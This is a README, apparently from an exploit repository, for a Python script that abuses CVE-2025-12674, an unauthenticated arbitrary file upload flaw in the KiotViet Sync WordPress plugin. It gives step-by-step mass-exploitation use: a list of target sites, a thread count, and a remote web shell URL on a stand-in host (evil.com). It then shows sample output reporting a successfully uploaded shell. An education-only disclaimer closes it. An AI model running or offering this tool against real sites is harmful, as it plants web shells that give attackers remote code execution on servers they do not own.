nxploited/cve-2025-12674KiotViet Sync <= 1.8.5 - Неавторизованная произвольная загрузка файлов
KiotViet Sync <= 1.8.5 - Неаутентифицированная произвольная загрузка файлов
Плагин KiotViet Sync для WordPress (версии до 1.8.5 включительно) уязвим к произвольной загрузке файлов из-за отсутствия проверки типа файлов в функции create_media().
Эта уязвимость позволяет неаутентифицированным атакующим загружать произвольные файлы на сервер, что может привести к удаленному выполнению кода.
Клонируйте этот репозиторий или скачайте скрипт.
Подготовьте цели:
Поместите одну цель на строку в файл с именем list.txt.
example.com
site2.com
http://site3.com
Запустите скрипт эксплойта:
Имя скрипта:
CVE-2025-12674.py
python3 CVE-2025-12674.py
При появлении запроса введите ваши параметры:
Enter targets file name (default: list.txt): list.txt
Enter number of threads (default: 10):
Enter REMOTE SHELL URL (direct link): http://evil.com/shell.php
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ Loaded 1 targets. Threads: 10. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ http://nxk.ddev.site │
│ Trying KiotViet exploit... │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╔══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ ✔ Shell uploaded! ║
║ Check here: ║
║ http://nxk.ddev.site/wp-content/uploads/2026/01/ ║
║ ║
╚══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝
Summary
Metric Value
───────────────────────────
Total attempts 1
Successful shells 1
Failed attempts 0
shells.txt.Этот скрипт предоставляется только для образовательных целей и авторизованного тестирования безопасности.
Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным.
Автор не несет ответственности за неправильное использование или любой причиненный ущерб.
Nxploited (Khaled Alenazi)